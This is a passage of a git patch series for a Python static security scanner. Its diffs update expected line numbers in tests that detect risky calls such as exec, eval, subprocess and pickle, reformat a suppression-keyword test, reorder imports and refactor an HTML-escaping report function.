+        "exec": [5, 16, 21, 32, 36, 37],
+        "eval": [7, 11, 40],
+        "input": [25, 28, 52],
+        "compile": [31],
+        "importlib.import_module": [53],
+        "__import__": [36, 37, 40, 44, 47],
     }
 
     # Assert that the actual data matches the expected data
diff --git a/tests/test_oschecks.py b/tests/test_oschecks.py
index 420268a..2ac7dc9 100644
--- a/tests/test_oschecks.py
+++ b/tests/test_oschecks.py
@@ -1,3 +1,6 @@
+# SPDX-FileCopyrightText: 2025-present Maikel Mardjan(https://nocomplexity.com/) and all contributors!
+#
+# SPDX-License-Identifier: GPL-3.0-or-later
 import pytest
 from pathlib import Path
 
@@ -27,8 +30,8 @@ def test_os_calls():
     actual_data = find_constructs(source, constructs)
     expected_data = {
         "os.chmod": [15],
-        "os.forkpty": [27],
-        "os.fork": [28, 34],
+        "os.forkpty": [25],
+        "os.fork": [26, 32],
     }
 
     # This is the expected dictionary
diff --git a/tests/test_pylintreport.py b/tests/test_pylintreport.py
index c7e5a0c..ecfb4ef 100644
--- a/tests/test_pylintreport.py
+++ b/tests/test_pylintreport.py
@@ -2,10 +2,9 @@
 #
 # SPDX-License-Identifier: GPL-3.0-or-later
 
-import html
-
-import pandas as pd
 import pytest
+import pandas as pd
+import html
 
 from codeaudit.reporting import pylint_reporting
 
diff --git a/tests/test_random.py b/tests/test_random.py
index e401a2b..6596d2c 100644
--- a/tests/test_random.py
+++ b/tests/test_random.py
@@ -19,12 +19,12 @@ def test_random_usage():
 
     # This is the expected dictionary
     expected_data = {
-        "random.Random": [20],
-        "random.randrange": [23],
-        "random.randint": [25],
-        "random.uniform": [27],
-        "random.triangular": [29],
-        "random.randbytes": [32],
+        "random.Random": [19],
+        "random.randrange": [22],
+        "random.randint": [24],
+        "random.uniform": [26],
+        "random.triangular": [28],
+        "random.randbytes": [31],
         "random.random": [14],
         "random.seed": [15],
     }
diff --git a/tests/test_standardlibconstructs.py b/tests/test_standardlibconstructs.py
index 7f12dce..074a9a6 100644
--- a/tests/test_standardlibconstructs.py
+++ b/tests/test_standardlibconstructs.py
@@ -18,7 +18,7 @@ def test_xml_usage():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"xmlrpc.client": [15], "xmlrpc.server.SimpleXMLRPCServer": [8, 28]}
+    expected_data = {"xmlrpc.client": [14], "xmlrpc.server.SimpleXMLRPCServer": [7, 26]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -36,7 +36,7 @@ def test_os_interfaces():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.access": [6, 12], "os.write": [24]}
+    expected_data = {"os.access": [5, 12], "os.write": [22]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -55,7 +55,7 @@ def test_base64encoding():
 
     # This is the expected dictionary
     expected_data = {
-        "base64": [3, 4],
+        "base64": [2, 3],
     }
 
     # Assert that the actual data matches the expected data
@@ -75,8 +75,8 @@ def test_httpserver_usage():
 
     # This is the expected dictionary
     expected_data = {
-        "http.server.BaseHTTPRequestHandler": [5, 26],
-        "http.server.HTTPServer": [26],
+        "http.server.BaseHTTPRequestHandler": [4, 23],
+        "http.server.HTTPServer": [23],
     }
 
     # Assert that the actual data matches the expected data
@@ -94,9 +94,9 @@ def test_pickle_usage():
     # This is the expected dictionary
 
     expected_data = {
-        "pickle.loads": [3, 13],
-        "pickle.Unpickler": [17],
-        "pickle.load": [8],
+        "pickle.loads": [3, 12],
+        "pickle.Unpickler": [16],
+        "pickle.load": [7],
     }
 
     # # Assert that the actual data matches the expected data
diff --git a/tests/test_subprocess.py b/tests/test_subprocess.py
index 4d573a9..52f5ec1 100644
--- a/tests/test_subprocess.py
+++ b/tests/test_subprocess.py
@@ -21,12 +21,12 @@ def test_subprocess_methods():
 
     # This is the expected dictionary
     expected_data = {
-        "subprocess.getoutput": [96, 104],
-        "subprocess.getstatusoutput": [108],
-        "subprocess.run": [21],
-        "subprocess.Popen": [46, 67],
-        "subprocess.check_call": [85],
-        "subprocess.call": [86],
+        "subprocess.getoutput": [88, 96],
+        "subprocess.getstatusoutput": [100],
+        "subprocess.run": [20],
+        "subprocess.Popen": [44, 63],
+        "subprocess.check_call": [79],
+        "subprocess.call": [80],
     }
 
     # Assert that the actual data matches the expected data
diff --git a/tests/test_suppression.py b/tests/test_suppression.py
index c66650a..e294701 100644
--- a/tests/test_suppression.py
+++ b/tests/test_suppression.py
@@ -20,14 +20,14 @@ def test_suppression_working():
 
     # This is the expected dictionary
     expected_data = {
-        "assert": [46, 47, 48, 75],
-        "subprocess.Popen": [15, 16, 18, 19],
-        "input": [23, 31],
-        "compile": [25, 33],
-        "exec": [26, 34, 52, 53, 54, 74],
-        "shelve.DbfilenameShelf": [41],
-        "gzip.open": [60, 61, 62, 77],
-        "os.chmod": [68, 69, 70, 76],
+        "assert": [43, 44, 45, 80],
+        "subprocess.Popen": [16, 17, 21, 22],
+        "input": [25, 31],
+        "compile": [27, 33],
+        "exec": [28, 34, 49, 50, 51, 79],
+        "shelve.DbfilenameShelf": [38],
+        "gzip.open": [59, 60, 61, 82],
+        "os.chmod": [70, 71, 72, 81],
     }
 
     # Assert that the actual data matches the expected data without suppression
@@ -50,10 +50,10 @@ def test_suppression_suppressedresult():
 
     # This is the expected dictionary
     expected_data = {
-        "subprocess.Popen": [18, 19],
-        "input": [23],
-        "compile": [25, 33],
-        "exec": [26],
+        "subprocess.Popen": [21, 22],
+        "input": [25],
+        "compile": [27, 33],
+        "exec": [28],
     }
 
     # Assert that the actual data matches the expected data without suppression
diff --git a/tests/test_suppressionlogic.py b/tests/test_suppressionlogic.py
index 05159cf..ad14f59 100644
--- a/tests/test_suppressionlogic.py
+++ b/tests/test_suppressionlogic.py
@@ -1,11 +1,11 @@
 import textwrap
 import pytest
 
-from codeaudit.suppression import get_all_comments_by_line, match_suppression_keyword
-
+from codeaudit.suppression import get_all_comments_by_line , match_suppression_keyword
 
 def test_get_all_comments_by_line(tmp_path):
-    source = textwrap.dedent("""
+    source = textwrap.dedent(
+        """
         # module comment
         #module comment
         x = 1  # inline comment
@@ -14,7 +14,8 @@ def test_get_all_comments_by_line(tmp_path):
         # trailing comment
         def foo():
             pass  # inside function
-        """)
+        """
+    )
 
     file_path = tmp_path / "example.py"
     file_path.write_text(source)
@@ -31,6 +32,9 @@ def foo():
     }
 
 
+
+
+
 @pytest.mark.parametrize(
     "comment, expected",
     [
@@ -47,26 +51,30 @@ def foo():
         ("# NOSONAR", True),
         ("# security-ignore", True),
         ("# ignore-security", True),
+
         # --- positive matches (risk handling) ---
         ("# false-positive", True),
         ("# falsepositive", True),
         ("# risk-accepted", True),
         ("# security-reviewed", True),
         ("# security-exception", True),
+
         # --- inline / mixed content ---
         ("# TODO: fix later  # nosec", True),
         ("Some comment with nosec inside", True),
         ("Reviewed: security-reviewed by team", True),
+
         # --- negative cases ---
         ("# no security issues found", False),
         ("# ignore this comment", False),
         ("# secure code", False),
         ("just a regular comment", False),
-        ("# nosecx", False),  # partial match should not count
-        ("# no sec", False),  # partial match should not count
-        ("# nosex", False),  # this is not funny - AI will not do these things
+        ("# nosecx", False),          # partial match should not count
+        ("# no sec", False),        # partial match should not count
+        ("# nosex", False), # this is not funny - AI will not do these things
         ("# false positive", False),  # space breaks the token
         ("# risk accepted", False),
+
         # --- empty / None ---
         ("", False),
         (None, False),

From 6b1aa61d20ecfb515ff7602b6d5a25a8e1f6840c Mon Sep 17 00:00:00 2001
From: jurgenwigg <jurgenwigg@protonmail.com>
Date: Wed, 8 Apr 2026 15:24:33 +0200
Subject: [PATCH 8/8] fixing CI

---
 src/codeaudit/reporting.py | 104 ++++++++++++++++++++-----------------
 1 file changed, 57 insertions(+), 47 deletions(-)

diff --git a/src/codeaudit/reporting.py b/src/codeaudit/reporting.py
index 748a3e7..3384bbd 100644
--- a/src/codeaudit/reporting.py
+++ b/src/codeaudit/reporting.py
@@ -13,43 +13,44 @@
 Reporting functions for codeaudit
 """
 
-import datetime
-import html
-import os
 import re
-import sys
-from importlib.resources import files
+import os
 from pathlib import Path
+import sys
 
 import pandas as pd
+import html
+import datetime
 
-from codeaudit import __version__
-from codeaudit.altairplots import multi_bar_chart
-from codeaudit.api_helpers import _collect_issue_lines
-from codeaudit.checkmodules import (
-    check_module_vulnerability,
-    get_all_modules,
-    get_imported_modules,
-    get_imported_modules_by_file,
-)
+from codeaudit.security_checks import perform_validations, ast_security_checks
 from codeaudit.filehelpfunctions import (
-    collect_python_source_files,
     get_filename_from_path,
+    collect_python_source_files,
+    read_in_source_file,
     has_python_files,
     is_ast_parsable,
-    read_in_source_file,
 )
-from codeaudit.htmlhelpfunctions import dict_list_to_html_table, json_to_html
-from codeaudit.privacy_lint import data_egress_scan, has_privacy_findings
-from codeaudit.pypi_package_scan import get_package_source, get_pypi_download_info
-from codeaudit.security_checks import ast_security_checks, perform_validations
-from codeaudit.suppression import filter_sast_results
+from codeaudit.altairplots import multi_bar_chart
 from codeaudit.totals import (
     get_statistics,
     overview_count,
     overview_per_file,
     total_modules,
 )
+from codeaudit.checkmodules import (
+    get_imported_modules,
+    check_module_vulnerability,
+    get_all_modules,
+    get_imported_modules_by_file,
+)
+from codeaudit.htmlhelpfunctions import json_to_html, dict_list_to_html_table
+from codeaudit import __version__
+from codeaudit.pypi_package_scan import get_pypi_download_info, get_package_source
+from codeaudit.privacy_lint import data_egress_scan, has_privacy_findings
+from codeaudit.suppression import filter_sast_results
+from codeaudit.api_helpers import _collect_issue_lines
+
+from importlib.resources import files
 
 PYTHON_CODE_AUDIT_TEXT = '<a href="https://github.com/nocomplexity/codeaudit" target="_blank"><b>Python Code Audit</b></a>'
 DISCLAIMER_TEXT = (
@@ -427,35 +428,44 @@ def secrets_report(spy_output):
 def pylint_reporting(result):
     """
     Creates a pandas DataFrame of privacy findings with columns:
-    'lineno' and 'code'.
-    HTML-escaped and newlines converted to <br> for safe display.
+    'line', 'found', and 'code'.
+
+    - Escapes HTML for safe rendering
+    - Converts newlines to <br>
+    - Wraps code in <pre><code> block
+    - Optimized for performance (fewer lookups, reusable template)
     """
     rows = []
+    append_row = rows.append  # local reference (faster in loops)
+
+    # Predefine template (faster than rebuilding strings each loop)
+    template = '<pre><code class="language-python">{}</code></pre>'
+
+    # Safely get dict
+    file_checks = result.get("file_privacy_check") or {}
+
+    for item in file_checks.values():
+        entries = item.get("privacy_check_result", [])
+        for entry in entries:
+            code = entry.get("code", "")
+            lineno = entry.get("lineno")
+            matched = entry.get("matched")
+
+            # Escape HTML and replace newlines (done once per entry)
+            escaped_code = html.escape(code).replace("\n", "<br>")
+
+            # Format HTML block (faster than f-string in tight loops)
+            code_html = template.format(escaped_code)
+
+            append_row(
+                {
+                    "line": lineno,
+                    "found": matched,
+                    "code": code_html,
+                }
+            )
 
-    # Check that file_privacy_check exists and is not empty
-    if result.get("file_privacy_check"):
-        for item in result["file_privacy_check"].values():
-            for entry in item.get("privacy_check_result", []):
-                # Escape HTML special characters
-                escaped_code = html.escape(entry["code"])
-                # Convert newlines to <br> and wrap in <pre><code>
-                code_html = f'<pre><code class="language-python">{escaped_code.replace("\n", "<br>")}</code></pre>'
-                # Add a row to the list
-                rows.append(
-                    {
-                        "lineno": entry["lineno"],
-                        "matched": entry["matched"],
-                        "code": code_html,
-                    }
-                )
-
-    # Convert to pandas DataFrame
-    df = pd.DataFrame(rows, columns=["lineno", "matched", "code"])
-    df = df.rename(
-        columns={"lineno": "line", "matched": "found"}
-    )  # rename to UI frienly names
-
-    return df
+    return pd.DataFrame(rows, columns=["line", "found", "code"])
 
 
 def single_file_report(filename, scan_output):